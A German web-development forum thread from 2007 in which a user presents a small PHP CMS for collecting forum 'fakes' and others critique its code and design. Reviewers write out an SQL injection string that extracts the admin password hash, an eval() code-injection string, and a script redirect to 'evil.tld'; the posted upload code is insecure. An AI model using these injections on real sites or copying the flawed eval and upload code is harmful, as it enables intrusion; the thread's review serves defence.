Archiv verlassen und diese Seite im Standarddesign anzeigen : [Vorstellung] tHE fAKE pAGE!
deadshox
17.06.2007, 16:12
Einen schoenen Sonntag wuensch ich euch!
Vorwort:
Ich will hier mal emein kleines Wochen Projekt Vorstellen an was ich Arbeite.
Es ist ein Kleines CMS fuer die Faker dieses Forums.
Ich habe es gemacht um mich ein wenig von meinem Hauptprojekt abzulenken da mir dort zZ die Motivation fehlt und um zu sehen und zu hoeren was ihr zu meinem Coder Stil/ Faehigkeiten sagt, denn ich will endlich mal ein paar Tipps von außen hoeren da ich noch nie was Gezeigt habe. ;D
Was ist/kann die fAKE pAGE?
Auf der Fake Page kann man seine Fakes Hochladen und eintragen um sie anderen zu Zeigen. Die Idee dahinter war eine Datenbank zu schaffen wo alle Fakes eingetragen sind, denn wenn man einen neuen Fake machen will kann man so gucken ob es ihn schon gibt oder nicht und man kann sich so Ideen holen.
Download!
fAKE pAGE fuer Windows! (datenfurz.de/daten/tfp_open.zip)
fAKE pAGE fuer Linux! (datenfurz.de/daten/tfp_open.tar.bz2)
Keine Angst in der Datei sind KEINE Viren! Sie ist nein Selbst entpackendes 7zip Archiv.
Ich hoffe ich habe alles ausreichend Dokumentiert, wenn nicht einfach bescheid sagen! Bei mir ist immer alles Selbstverstaendlich, deshalb nicht wundern wenn ihr euch was nicht erklaeren koennt. xD
Wo kann ich sie mir Online Anschauen?
Unter: www.fakepage.dl.am
Schlusswort
So und zum Abschluss noch, ich wuerde mich sehr freuen wenn ihr mir Helfen koenntet das Projekt noch zu verbessern, einfach sagen wo was veraendert werden soll/muss damits besser wird. ;]
Joa dann viel Spaß mit der fAKE pAGE!
Edit: Was sagt ihr zum Namen der Seite? Hab ihr vlt bessere Vorschlaege? Bin fuer alles offen in Sachen Namen. ;]
Hm, gabs sowas nicht schonmal?(FF hat Recht ;_; )
Naja, zum Code:
Grundsätzlich:
Leerzeilen können Wunder wirken. Dein Code ist ein einzelner Textbrei, Formatierung gibts bis auf die Einrückung wohl kaum welche.
Benutzt <?php als Einleitungs-Tag, nicht <? .
Mehr wird editiert... hoffe ich
eval ("\$content .= \"".gettemplate("style/fake_main")."\";");wieso nicht einfach
$content .= '"'.gettemplate('style/fake_main').'"';?
HTML:
<p>---------</p>wieso nicht
<hr />
--------
<div id="header"><h1>- tHE fAKE pAGE</h1></div>wieso nicht einfach
<h1 id="header">...</h1>oder
<h1>...</h1>da <h1> eigentlich einmalig sein sollte.
NPC Fighter
17.06.2007, 16:46
Dingsi hat das damals auch schon umgesetzt: Fakr (http://mistburg.de/fakr/).
Dingsi hat das damals auch schon umgesetzt: Fakr (http://mistburg.de/fakr/).
Der Sinn ist nicht der gleiche, bei Dingsi's Website ging es darum(so weit ich das sehe), um Fakes einfacher zu erstellen. Bei deadshox's Website gehts darum die Fakes zu sammeln bzw. heraufzuladen. ;)
deadshox
17.06.2007, 17:08
eval ("\$content .= \"".gettemplate("style/fake_main")."\";");wieso nicht einfach
$content .= '"'.gettemplate('style/fake_main').'"';?
Weil die Variablen im Template ersetzt werden muessen und da bei eval() der Code als PHP Code ausgefuehrt wird, werden die Variablen ersetzt. ;]
HTML:
<p>---------</p>wieso nicht
<hr />
--------
Weil mir <hr /> nicht gefaellt und ich es so mache. ;]
<div id="header"><h1>- tHE fAKE pAGE</h1></div>wieso nicht einfach
<h1 id="header">...</h1>oder
<h1>...</h1>da <h1> eigentlich einmalig sein sollte.
Weil die Ueberschrift unabhaengig vom Container Definiert werden soll und <h1> stellt fuer mich ein Textformatierungs Element dar und kein Design Element wie <div>.
Der Sinn ist nicht der gleiche, bei Dingsi's Website ging es darum(so weit ich das sehe), um Fakes einfacher zu erstellen. Bei deadshox's Website gehts darum die Fakes zu sammeln bzw. heraufzuladen. ;)
Richtig!. ;D
NPC Fighter
17.06.2007, 17:19
Weil mir <hr /> nicht gefaellt und ich es so mache. ;]
Und was, bitte, gefällt dir daran nicht? Stylefähig sind die genau wie alles andere auch.
Weil die Ueberschrift unabhaengig vom Container Definiert werden soll und <h1> stellt fuer mich ein Textformatierungs Element dar und kein Design Element wie <div>.
Warum benutzt du dann nicht untergeordnete Überschriften, oder benutzt wenigstens Klassen zum designen? Ich meine, man kann auch alles in hundert Div-Containern ablegen, aber der Sinn dahinter ist mir absolut schleierhaft.
Der Sinn ist nicht der gleiche, bei Dingsi's Website ging es darum(so weit ich das sehe), um Fakes einfacher zu erstellen. Bei deadshox's Website gehts darum die Fakes zu sammeln bzw. heraufzuladen.
Naja, Galleryscripts gibts wie Sand am Meer. Die meisten sind auch leicht so erweiterbar, dass der Effekt der selbe ist.
Verstehe den Sinn dahinter nicht ganz.
Deine tolle Seite hat (zumindest wenn magic_quotes_gpc aus ist) SQLInjections. Ich brauche nur
', (SELECT `masterpass` AS fubar FROM `dfp_config`), MD5('test')) # als Faker einzutrage und schon habe ich deinen Masterpassworthash (Ein Glück, dass dein Hoster magic_quotes aktiviert hat) - und denn kann man bei einigermaßen simplen Passwörtern leicht knacken. Das du die MySQL Fehler freundlicherweise ausgibst, erleichtert natürlich das Debuggen von solchen SQLInjections
Dein Code ist unlesbar und ziemlich eklig. Immerhin benutzt du Templates, auch wenn deine Methode ziemlich unsauber ist. Du hättest ja wenigstens den Kram mit dem eval() in eine eigene Funktion auslagern können. Außerdem ist die Hälfte deines HTML Codes dann doch statisch eingebunden.
Ansonsten hast du aber einige mögliche Sicherheitslücken bereits ausgeschlossen (die meisten Sachen werden ja auch vor dem Einsetzen in eine Query sicher gemacht). Auch die Sprachenunterstützung finde ich gut, auch wenn sie ein wenig statisch eingebunden ist :)
Bis auf die fehlenden Zeilenumbrüche und Einrückungen und die zu langen Zeilen ist dein Code aber auf jeden Fall besser als viele andere Sachen, die ich gesehen habe. Verbesser die paar Punkte und mir gefällt's :D
Weil die Ueberschrift unabhaengig vom Container Definiert werden soll und <h1> stellt fuer mich ein Textformatierungs Element dar und kein Design Element wie <div>.
Textformatierung = Design. <h1> ist aber ein strukturierendes Element und da es nur einmal in einem Dokument vorkommen sollte ist die vergabe von Klassen oder IDs dafür relativ sinnlos.
Weil mir <hr /> nicht gefaellt und ich es so mache. ;]
Hm, die Trennlinie ist identisch zu deiner Vorstellung gestaltbar.
Warum verwendest du für die Liste am Anfang nicht einfach eine Liste?
Die Tabellen sind imho auch unnötig. Mit einem float für die Bilder wäre das ganze viel schneller geschrieben.
Außerdem möchte ich dich auf die kleine Schrift hinweisen, ich muss mehrmals auf Textvergrößerung klicken um überhaupt was lesen zu können.
Gestalte doch die Seitenbreite flexibel (momentan wird der großteil der Seite nicht genutzt) und füge ebenso flexibel die Fake-Zusammenfassungen nebeneinander dazu.
Whiz-zarD
17.06.2007, 19:31
Mal ne Frage: Wer braucht so ein Mist eigentlich?
deadshox
17.06.2007, 21:21
Deine tolle Seite hat (zumindest wenn magic_quotes_gpc aus ist) SQLInjections.
Hm und was kann ich noch dagegen tun, ausser magic_quotes_gpc auszumachen? Das mit dem Eintrag bei Faker habe ich ausprobiert und da ist nichts passiert.
Du hättest ja wenigstens den Kram mit dem eval() in eine eigene Funktion auslagern können. Naja nu dann wuerde es so aussehen:
show_template("style/fake_main")
Ist doch fast das gleiche.
Auch die Sprachenunterstützung finde ich gut, auch wenn sie ein wenig statisch eingebunden ist Wie meinste das?
Textformatierung = Design. <h1> ist aber ein strukturierendes Element und da es nur einmal in einem Dokument vorkommen sollte ist die vergabe von Klassen oder IDs dafür relativ sinnlos.
Habe ich doch garnicht gemacht, hab doch nur dem Div Container eine ID gegeben, es wird ihn ja auch nur einmal geben.
Hm, die Trennlinie ist identisch zu deiner Vorstellung gestaltbar.
Na ja jut dann mach ichs halt so. ;D
Warum verwendest du für die Liste am Anfang nicht einfach eine Liste?
Joa hab ich einfach nicht dran gedacht. ;P Habs gleich mit eingebaut. ;D
Die Tabellen sind imho auch unnötig. Mit einem float für die Bilder wäre das ganze viel schneller geschrieben.
Habs gerade Probiert und komme nicht auf das gewuenschte Ergebnis.
Außerdem möchte ich dich auf die kleine Schrift hinweisen, ich muss mehrmals auf Textvergrößerung klicken um überhaupt was lesen zu können.
Immer noch? Naja ok bin nun auf 11px Hochgegangen.
Gestalte doch die Seitenbreite flexibel (momentan wird der großteil der Seite nicht genutzt)
Ja so soll aber das Design sein. ;] So halt nen Fake Bild aehnlich sehen.
füge ebenso flexibel die Fake-Zusammenfassungen nebeneinander dazu.
Versteh ich nicht. Wie meinst du das?
Mal ne Frage: Wer braucht so ein Mist eigentlich?
Es soll fuer mich eine Uebung sein und es soll zur Sammlung der Fakes dienen damit man mal eine Uebersicht hat. ;D
NPC Fighter
17.06.2007, 21:55
Ja so soll aber das Design sein. ;] So halt nen Fake Bild aehnlich sehen.
Mag bei kleineren Auflösungen ja noch stimmen. Aber selbst mit nur 1440x900 Pixeln wird das Ding bei mir nur wie ein Strich in der Landschaft angezeigt.
Du solltest dein Design wenigstens etwas flüssiger / elastischer anlegen.
Habe ich doch garnicht gemacht, hab doch nur dem Div Container eine ID gegeben, es wird ihn ja auch nur einmal geben.
Es geht darum, das dur dir das div sparen kannst (und solltest) wenn du schon h1 hast.
Du kannst das h1 so formatieren wie du willst, da braucht es kein div mehr.
oder aber du entfernst das h1, was aber dem sinn von CSS komplett zuwiederlaufen würde.
deadshox
17.06.2007, 22:56
Mag bei kleineren Auflösungen ja noch stimmen. Aber selbst mit nur 1440x900 Pixeln wird das Ding bei mir nur wie ein Strich in der Landschaft angezeigt.
Du solltest dein Design wenigstens etwas flüssiger / elastischer anlegen.
Wasn das fuer ne Aufloesung? Das is aber nich Standart. -.-
Naja habs mal nen bissel angepasst, hoffe es ist nun genhem. ;]
Das mit dem <h1> hab ich nun auch geaendert.
Jesus_666
18.06.2007, 06:14
Wasn das fuer ne Aufloesung? Das is aber nich Standart. -.-
Sag' das dem 15"-MacBook Pro. Oder so ziemlich jedem anderen Breitbild-Laptop. Du brauchat allerdings gar nicht so hohe Auflösungen, damit es fies aussieht; schon bei 1024x768 sieht die Seite leer aus.
Immer noch? Naja ok bin nun auf 11px Hochgegangen.
Angaben in px brauchst du nur und ausschließlich in Seiten, die du vorher in Photoshop gebastelt hast. Ansonsten wären flexiblere Angaben wie pt oder auch mm (oder bei nicht-Textelementen em und ex) wohl eine bessere Wahl. Ein enormer Voertil ist, daß diese Angaben dem vom User vorgegebenen DPI-Wert folgen, was px AFAIK nicht tut.
Was die Verteilung angeht: Bitte nicht nur als PE. Nicht jeder User hier verwendet Microsoft Windows und daß ein beliebiges Packprogramm mit Windows-SFX-Archiven umgehen kann, ist nicht selbstverständlich. Besser wäre es, zusätzlich eine normale Paketdatei mit anzubieten.
BTW, du solltest dich mal über die Unterschiede zwischen ' und " informieren. ' ist marginal schneller und könnte dir einige \" sparen. (Zugegeben, als Optimierung ist es nicht so derb, aber man muß ja nicht Leistung verschenken, wenn der bessere Weg einen vernachlässigbaren Mehraufwand hat.)
deadshox
18.06.2007, 07:16
Sag' das dem 15"-MacBook Pro. Oder so ziemlich jedem anderen Breitbild-Laptop. Du brauchat allerdings gar nicht so hohe Auflösungen, damit es fies aussieht; schon bei 1024x768 sieht die Seite leer aus.
Na ja jut und was kann ich dagegen tun ohne das Design großartig zu veraendern?
Angaben in px brauchst du nur und ausschließlich in Seiten, die du vorher in Photoshop gebastelt hast. Ansonsten wären flexiblere Angaben wie pt oder auch mm (oder bei nicht-Textelementen em und ex) wohl eine bessere Wahl. Ein enormer Voertil ist, daß diese Angaben dem vom User vorgegebenen DPI-Wert folgen, was px AFAIK nicht tut.
So bin jetzt wieder auf pt.
Was die Verteilung angeht: Bitte nicht nur als PE. Nicht jeder User hier verwendet Microsoft Windows und daß ein beliebiges Packprogramm mit Windows-SFX-Archiven umgehen kann, ist nicht selbstverständlich. Besser wäre es, zusätzlich eine normale Paketdatei mit anzubieten.
Hab ich sofort gemacht. ;]
BTW, du solltest dich mal über die Unterschiede zwischen ' und " informieren. ' ist marginal schneller und könnte dir einige \" sparen. (Zugegeben, als Optimierung ist es nicht so derb, aber man muß ja nicht Leistung verschenken, wenn der bessere Weg einen vernachlässigbaren Mehraufwand hat.)
Joa muss ich mal gucken. ;D
Edit: Wie kann ich Eigentlich das Upload Formular besser Stylen? Hab grad Festgestellt das es bei einer Aufloesung von 800x600 nicht wirklich gut aussieht.
Jesus_666
18.06.2007, 09:25
Was zum Linux-Download: Ich fürde dir zu .tar.gz bzw. .tar.bz2 raten - .tar allein ist nicht komprimiert. Du kannst aber auch einfach nur .zip verwenden, das ist auf allen größeren Betriebssystemen verbreitet.
Was das Design angeht - du kannst die bisher bestehende Leite natürlich weiterbenutzen und einfach rechts was danebenpacken (in etwa wie bei der Postanzeige im Forum hier). Vielleicht Kommentare oder so.
Zum Uploadformular: Mir ist aufgefallen, daß der Button aus dem Formular herausragt. Das könntest du korrigieren, indem du body das Attribut min-width: 32em gibst. Achtung, min-width wird nicht von allen Browsern unterstützt; sicherer wäre es, gleich width: 32em zu verwenden.
deadshox
18.06.2007, 10:11
Was zum Linux-Download: Ich fürde dir zu .tar.gz bzw. .tar.bz2 raten - .tar allein ist nicht komprimiert. Du kannst aber auch einfach nur .zip verwenden, das ist auf allen größeren Betriebssystemen verbreitet.
Ok hab ich geaendert.
Was das Design angeht - du kannst die bisher bestehende Leite natürlich weiterbenutzen und einfach rechts was danebenpacken (in etwa wie bei der Postanzeige im Forum hier). Vielleicht Kommentare oder so.
Muss ich mal schauen. ;]
Zum Uploadformular: Mir ist aufgefallen, daß der Button aus dem Formular herausragt. Das könntest du korrigieren, indem du body das Attribut min-width: 32em gibst. Achtung, min-width wird nicht von allen Browsern unterstützt; sicherer wäre es, gleich width: 32em zu verwenden.
Hm nur dann breitet sich die Leiste doch nicht mehr aus wenn ich ne Hoehere Aufloesung mach.
Jesus_666
18.06.2007, 10:41
Wenn du nach em gehst geht er nach der Breite des Buchstaben M. Schön skalierbar und wenn du den Rest auch skalierbar machst (da gehen auch Sachen wie 17.34em) auch ziemlich resistent gegen herausragende Elemente.
BTW, tu' mal zwischen das Textfeld und den Button einen Leerraum. Würde IMO besser aussehen.
deadshox
18.06.2007, 10:56
BTW, tu' mal zwischen das Textfeld und den Button einen Leerraum. Würde IMO besser aussehen.
Welches Textfeld meinst du und Welchen Button?
Edit: So hab jetzt mal den PHP Code Stil nen bisschen geaendert und nen bissel vom PHPBB3 abgeguckt. Nun sind die Datein nen paar KB groeßer. xD
Jesus_666
18.06.2007, 12:03
Die bezüglich der hochzuladenden Datei. Sie liegen nebeneinander.
deadshox
18.06.2007, 12:20
Und wie mach ich das? Das ist doch ein <input> Element.
NPC Fighter
18.06.2007, 12:51
Und wie mach ich das? Das ist doch ein <input> Element.
Da hat er recht (nicht mit input an sich, aber mit <input type="file" />). Bei den gängigen Browsern unstylebar, wohl aus Sicherheitsgründen (es gibt da meines Wissens ein paar JS Tricksereien, aber die sind verdammt umständlich und halt... JS ^^).
Wasn das fuer ne Aufloesung? Das is aber nich Standart. -.-
Naja habs mal nen bissel angepasst, hoffe es ist nun genhem. ;]
Was ist schon Standard? Bei 16:10 Bildschirmen passt es perfekt (1449/900=1.6). Hat ja nicht jeder 4:3 Monitore.
deadshox
18.06.2007, 12:54
Da hat er recht (nicht mit input an sich, aber mit <input type="file" />). Bei den gängigen Browsern unstylebar, wohl aus Sicherheitsgründen (es gibt da meines Wissens ein paar JS Tricksereien, aber die sind verdammt umständlich und halt... JS ^^).
Dann lass ichs lieber so wie es ist. ;D
Was ist schon Standard? Bei 16:10 Bildschirmen passt es perfekt (1449/900=1.6). Hat ja nicht jeder 4:3 Monitore.
;D Sieht sie nun eigentlich schon besser aus in deiner Aufloesung?
NPC Fighter
18.06.2007, 13:12
Naja, geht so einigermaßen. ^^
Jesus_666
18.06.2007, 13:21
Da hat er recht (nicht mit input an sich, aber mit <input type="file" />). Bei den gängigen Browsern unstylebar, wohl aus Sicherheitsgründen (es gibt da meines Wissens ein paar JS Tricksereien, aber die sind verdammt umständlich und halt... JS ^^).
Weiß du, früher hatten wir so was, das nannte sich ...
(Außerdem hätte er dem Button ein margin-left geben können, aber der non-breaking space erfüllt seinen Zweck da schon ganz gut.)
NPC Fighter
18.06.2007, 13:29
Weiß du, früher hatten wir so was, das nannte sich ...
(Außerdem hätte er dem Button ein margin-left geben können, aber der non-breaking space erfüllt seinen Zweck da schon ganz gut.)
Also, dass wir jetzt beide nicht aneinander vorbeireden:
Wir meinen beide das hier, richtig?
http://npshare.de/files/35/3848/inputtypefile.png
Und wir meinen beide den Abstand zwischen dem weißen Feld links und dem Button rechts?
Da kann man wirklich weder mit nem Einzug noch mit erzwungenen Leerzeichen was machen, die hängen zusammen.
Jesus_666
18.06.2007, 13:40
Ach stimmt, das haben die bei HTML ja als ein Element umgesetzt. Gut, dann geht's nicht.
Hm und was kann ich noch dagegen tun, ausser magic_quotes_gpc auszumachen? Das mit dem Eintrag bei Faker habe ich ausprobiert und da ist nichts passiert.
Du sollst es ja gerade nicht ausmachen o.o Das ist in diesem Fall das, weas dich gegen die SQLInjections schützt, da alle Sachen, die von außen kommen, escaped werden. Du musst, um dich zu schützen, eigentlich nur die entry()-Funktion auch auf die Sachen beim Upload anwenden (auch auf den Dateinamen).
Ich würde die entry() Funktion auf die Sachen beschränken, die zum Sichern für eine Query notwendig sind (eigentlich nur add_slashes()) Gerade strip_tags würde ich mir sparen, da es ja unter Umständen zum Beispiel Benutzernamen gibt, die wie ein Tag aussehen - die wären dann nicht erlaubt.
Naja nu dann wuerde es so aussehen:
show_template("style/fake_main")
Ist doch fast das gleiche.
Aber auch nur fast. eval() ist eine unsaubere Sache, die sollte man am besten nur an einer Stelle verwenden :) (mal davon abgesehen, dass es viel kürzer wäre :P)
Wie meinste das?
Naja , es ist über ein include gemacht. Besser wäre es imo, die Sprache nur als Einstellungswert zu definieren, und dann in der index.php oder sonstwo die entsprechende Sprache einzubauen - das ist benutzerfreundlicher und flexibler (zB unabhängig vom Sprachpfad ;))
PS: Der neue Code ist schon viel übersichtlicher :A
deadshox
18.06.2007, 14:17
Du sollst es ja gerade nicht ausmachen o.o Das ist in diesem Fall das, weas dich gegen die SQLInjections schützt, da alle Sachen, die von außen kommen, escaped werden. Du musst, um dich zu schützen, eigentlich nur die entry()-Funktion auch auf die Sachen beim Upload anwenden (auch auf den Dateinamen).
Ich würde die entry() Funktion auf die Sachen beschränken, die zum Sichern für eine Query notwendig sind (eigentlich nur add_slashes()) Gerade strip_tags würde ich mir sparen, da es ja unter Umständen zum Beispiel Benutzernamen gibt, die wie ein Tag aussehen - die wären dann nicht erlaubt.
Ok Sry da hab ich mich falsch ausgedrueckt mit den Magic Quotes. ^^ Meine natuerlich ausser es an zulassen. ;D
Aber auch nur fast. eval() ist eine unsaubere Sache, die sollte man am besten nur an einer Stelle verwenden :) (mal davon abgesehen, dass es viel kürzer wäre :P)
Hab das grad Probiert eval() in eine Funktion zu packen hat aber nicht Funktioniert. ;(
Naja , es ist über ein include gemacht. Besser wäre es imo, die Sprache nur als Einstellungswert zu definieren, und dann in der index.php oder sonstwo die entsprechende Sprache einzubauen - das ist benutzerfreundlicher und flexibler (zB unabhängig vom Sprachpfad ;))
Was meinst du mit Einstellungswert? Ueber einen Admin Panel?
PS: Der neue Code ist schon viel übersichtlicher :A
Danke. ;D
Hab das grad Probiert eval() in eine Funktion zu packen hat aber nicht Funktioniert. ;(
Änder doch einfach deine dooutput() Funktion (ungetestet):
function dooutput($template){
eval('echo "'.$template.'";');
}
Du könntest das ganze auch direkt in die gettemplate() Funktion packen:
Änder doch einfach deine dooutput() Funktion (ungetestet):
function gettemplate($template,$endung="xhtml"){
$template = str_replace('"', '\\"', implode('',file($template.'.'.$endung)));
return eval('return "'.$template.'";');
}
In beiden Fällen bekommst du allerdings Probleme mit den variablen, weil sie innerhalb der Funktion nicht vorhanden sind (außer den Superglobalen). Da empfielt es sich, einfach alle Variablen für das Template mitzuübergeben (als Array) und dann extract() (http://de3.php.net/manual/de/function.extract.php) zu verwenden ;)
Was meinst du mit Einstellungswert? Ueber einen Admin Panel?
Ein Wert in deiner Konfigurationsdatei. Und wenn du ein Admin Panel hast, dann sollte man das da natürlich auch ändern können ;)
Jesus_666
18.06.2007, 18:42
Warum zum Teufel benutzt du überhaupt eval(), um statischen Code auszuführen?
Was Magic Quotes angeht: Stell' sie ab. Und zwar bei dir lokal (sofern du auf einem eigenen Rechner einen Testserver laufen hast). Man sollte Webanwendungen immer so entwickeln, als wolle man sie hinterher auf einem maximal unsicheren System laufen lassen - weil sie nämlich vielleicht irgendwann auf genau so einem laufen. Wenn du dich dann auf Magic Quotes und Safemode verläßt kann es sein, daß es eine böse Überraschung gibt.
Abgesehen davon stellen Magic Quotes u.U. unschöne Dinge mit den Daten an, wenn man nicht aufpaßt. Es hat seine Gründe, warum sie bei PHP seit Ewigkeiten standardmäßig deaktiviert sind.
deadshox
18.06.2007, 19:42
In beiden Fällen bekommst du allerdings Probleme mit den variablen, weil sie innerhalb der Funktion nicht vorhanden sind (außer den Superglobalen). Da empfielt es sich, einfach alle Variablen für das Template mitzuübergeben (als Array) und dann extract() (http://de3.php.net/manual/de/function.extract.php) zu verwenden ;)
Naja also kann ich es auch gleich sein lassen da es ja noch Komplizierter wird. ;D
Ein Wert in deiner Konfigurationsdatei. Und wenn du ein Admin Panel hast, dann sollte man das da natürlich auch ändern können ;)
In meiner Konfigurationsdatei brauch ich auch bloß german, mit sagen wa mal english austauschen aber ich werd das ganze Sprach System noch einmal ueberarbeiten. ;]
Warum zum Teufel benutzt du überhaupt eval(), um statischen Code auszuführen?
Was soll ich sonst nutzen? War halt die einfachste Variante fuer ein Template System.
Jesus_666
18.06.2007, 21:10
Ist auch reichlich unsicher. Mit eval() kann man theoretisch unbegrenzten Schaden anrichten... Diese Funktion gilt im Allgemeinen als extrem unsauber und sollte nach Möglichkeit vermieden werden.
Ich mache Templates für gewöhnlich so:
1. Das Template selbst
Genau wie bei dir einfach eine Datei mit Platzhaltern. Die haben bei mir ein anderes Format (üblicherweise %PLATZHALTER% oder {PLATZHALTER}), ansonsten ist es aber gleich. Das andere Format rate ich dir, damit du hinterher nicht groß escapen mußt. Alternativ kannst du auch einfach den zu ersetzenden Text in '' statt "" verpacken; damit werden Variablennamen nicht geparst (siehe unten).
2. Der Code
In PHP lade ich den Inhalt der Templatedatei in eine Variable und füge da per str_replace() meinen Kram ein.
Ein simples Beispiel:
template.htm
<h1>%ÜBERSCHRIFT%</h1>
<p>Heute ist der %DATUM%.</p>
<p>Noch ein Wert: $replace["me"].</b>
template.php
<?php
$template = file_get_contents('template.htm');
$template = str_replace('%ÜBERSCHRIFT%', 'Beispiel', $template);
$template = str_replace('%DATUM', date('d.m.Y'), $template);
// Das funktioniert nicht, weil PHP den Variablennamen auflöst:
$template = str_replace("$replace[\"me\"]", 'Hurra', $template);
// Das funktioniert.
$template = str_replace('$replace["me"]', 'Hurra', $template);
echo $template;
?>
Ach ja, du kannst den Kram natürlich auch automatisieren:
// Mal an deinem Setup-Template orientiert
foreach ($lang as $key => $value)
{
$template = str_replace('$lang["'.$key.'"]', $lang[$value], $template);
}
drunken monkey
18.06.2007, 23:32
Ach ja, du kannst den Kram natürlich auch automatisieren:
// Mal an deinem Setup-Template orientiert
foreach ($lang as $key => $value)
{
$template = str_replace('$lang["'.$key.'"]', $lang[$value], $template);
}
Allerdings könnte man dann auch gleich zwei Arrays verwenden und die eingebaute Array-Unterstützung von str_replace() nutzen. Ich kann mir gut vorstellen, dass das weitaus performanter ist:
$search = array('{{TITLE}}', '{{NAME}}');
$replace = array('Meine Homepage', 'drunken monkey');
$template = str_replace($search, $replace, $template);
Hab's allerdings jetzt nicht ausprobiert.
Nachteil wäre vielleicht, dass das eine Array mit Schlüssel->Wert-Paaren übersichtlicher ist. Allerdings könnte man wahrscheinlich auch ohne große Performanceeinbußen das Array wie bei dir anlegen und dann automatisch in zwei Arrays aufteilen lassen.
deadshox
19.06.2007, 08:22
Hm irgendwie sagen mir eure Varianten nicht zu. ;(
Ich sehe meine immer noch fuer am besten an da sie am einfachsten ist.
@Jesus_666 bitte nen mir doch mal ein paar bsp. was man alles mit eval() boeses machen kann, sonst sehe ich keinen Sin drin es nicht mehr zu verwenden!
Edit: Hab mal das Tutorial rausgesucht wo durch ich das so mache mit dem Template und da steht auch drin das das vBulletin das genauso macht. ;P
Tutorial zum Template System (http://www.tutorials.de/forum/php-tutorials/12907-php-templates.html).
drunken monkey
19.06.2007, 09:44
[I]Edit: Hab mal das Tutorial rausgesucht wo durch ich das so mache mit dem Template und da steht auch drin das das vBulletin das genauso macht. ;P
Es steht nicht "genauso", sondern "nach dem gleichen Prinzip", was ein erheblicher Unterschied macht. In dem Kontext heißt's ziemlich sicher, dass vBulletin auch Templates verwendet, und nicht eval().
Ich kann mir's zwar im Gegensatz zu anderen hier nicht ansehen, aber mich würde es sehr stark wundern, wenn eine große Forensoftware wie vB auf sowas wie eval() setzen würde. o_O'
Jesus_666
19.06.2007, 10:16
Ich habe keinen direkten Exploit zur Hand, rate aber trotzdem von eval() ab. Ein Escapefehler mit str_replace() und der User kriegt uninterpretierten PHP-Code geliefert. Ein Escapefehler mit eval() und der Server führt Code des Angreifers aus. (Ja, man sollte immmer davon ausgehen, daß die Anwendung permanent angegriffen wird; alles andere ist Leichtsinn.)
Nebenbei generierst du durch falsche Syntax links und rechts kaputte Konstanten. $lang[faker] ist nicht gleichbedeutend mit $lang['faker']!
BTW, es ist möglich, fast beliebiges JavaScript zu injizieren. Die Eingaben für Faker und Gefakten werden nicht ausreichend gefiltert, um Skripte abzufangen. Momentan kriege ich nichts besseres als window.location = "http://evil.tld/" hin, aber über die Lücke wären potentiell fiese Angriffe möglich und ein besser mit JavaScript bewandter Angreifer könnte u.U. sogar XSS durchführen.
Edit: Hab mal das Tutorial rausgesucht wo durch ich das so mache mit dem Template und da steht auch drin das das vBulletin das genauso macht. ;P
Du weißt, daß das vBulletin eine ganze Weile lang unter Code-Injektionen (http://search.us-cert.gov/query.html?col=csalrts&col=csbulls&col=cstips&col=feddocs&col=pressrm&col=tcsalrts&col=vulnotes&col=xtradocs&qt=vbulletin+%22code+injection%22&charset=iso-8859-1) zu leiden hatte? Derartige Angriffe funktionieren grundsätzlich nicht, wenn du eval() nicht verwendest (oder Dämlichkeiten machst wie hochgeldene Dateien zu includen).
Scavenger
19.06.2007, 13:15
Es steht nicht "genauso", sondern "nach dem gleichen Prinzip", was ein erheblicher Unterschied macht. In dem Kontext heißt's ziemlich sicher, dass vBulletin auch Templates verwendet, und nicht eval().
Ich kann mir's zwar im Gegensatz zu anderen hier nicht ansehen, aber mich würde es sehr stark wundern, wenn eine große Forensoftware wie vB auf sowas wie eval() setzen würde. o_O'
vB Benutzt auch eval() aber nach meinem Wissen nicht für die Tamplates, die werden um einiges anders verarbeitet wenn ich mich recht entsinne. Denn ich hab bisher noch nix gesehen im vB wo Template und eval() zusammen genutzt werden.
zu Templates selber kann cih nur sagen das ich meine Templates wie vB in einer Datenbank speichere und diese dann wenn benütigt auslese.
Der rest geht dann wie bei Jeez über die Platzhalter die dann per str_replace() ersetzt werden. Find ich persönlich praktisch und auch sehr unkompliziert :)
deadshox
19.06.2007, 13:56
Hm ich habe mir gerade ein paar OpenSource CMSs angeschaut und festgestellt wenn ueberhaupt ein Template System genutzt wird wo PHP und HTML nicht gemischt sind dann geht es irgendwie ueber OOP. ;D
Also Lern ich jetzt erst mal OOP, wollte das schon lange mal machen und dann kann ich gleich das ganze Projekt so umstellen.
Danke Trotzdem schon mal fuer eure Hilfe!
So lange ich OOP Lern steht dieses Projekt hier erst mal still.
Ich benutze ebenfalls eval() für meine Templates aus Performancegründen. Allerdings wird der komplettte Code von meiner Template-Engine generiert und es kann nirgendwo direkt PHP Code eingeschleust werden (Es sei denn, jemand verändert die gecachten Templatedateien, dann liegt allerdings beim System grundsätzlich was falsch ;))
Die möglicherweise sicherere Alternative ist in der Tat, alles über Objekte und Methoden zu regeln, dann kann auch nirgendwo PHP-Code eingeschleust werden - aber soweit ich weiß, ist ist OOP in PHP recht langsam...
Ein Beispiel für eine Sicherheitslücke in deinen Templates, wäre sowas:
\"; phpinfo(); //
Allerdings ist das ungetestet und inwiefern man etwas schlimmes damit anstellen kann ist unklar ;)
deadshox
19.06.2007, 14:32
Also phpinfo() Funktioniert wenn ich es direkt in eval() eingebe aber wie soll ich von außen da ran kommen? Ich benutze ja keine Variablen in eval().
Das Problem ist, dass du nur Anführungszeichen escapest. Aus " wird also \". Wenn ich aber \" in einem String habe, wird \\" daraus. Damit ist nicht mehr das Anführungszeichen escaped, sondern der Slash - und der String ist zu Ende. Danach kann man beliebigen PHP Code ausführen.
Schreibe ich zum Beispiel folgendes in das Template:
\"; phpinfo(); //
Kommt in PHP folgendes raus:
$foo = "\\"; phpinfo(); //"
Und was das bewirkt, kann man sich ja denken ;)
deadshox
20.06.2007, 15:37
Hm ok das hab ich jetz verstanden nur wie komm ich an eval ran und kann so schaden verursachen? Das ist mir immer noch nicht begreiflich. ;(
Hab grade festgestellt das der Upload irgendwie nicht geht aber ich habe keinen Plan warum. -.-
Hier mal der Code:
$content = "<p class=\"read\">".$lang['fake_rules']."! </p>";
$verz = "gallery";
$info = getimagesize($_FILES['file']['tmp_name']);
$filesize = filesize($_FILES['file']['tmp_name']);
$form1 = "\n<form enctype=\"multipart/form-data\" action=\"?main=add&insert=true\" method=\"post\">";
$form2 = "</form>";
if (isset($_GET['insert']) == "true")
{
if (2 == $info[2] OR 3 == $info[2])
{
if (40960 >= $filesize)
{
if (move_uploaded_file($_FILES['file']['tmp_name'],$verz."/".$_FILES['file']['name']) AND entry($_GET['insert']) == "true")
{
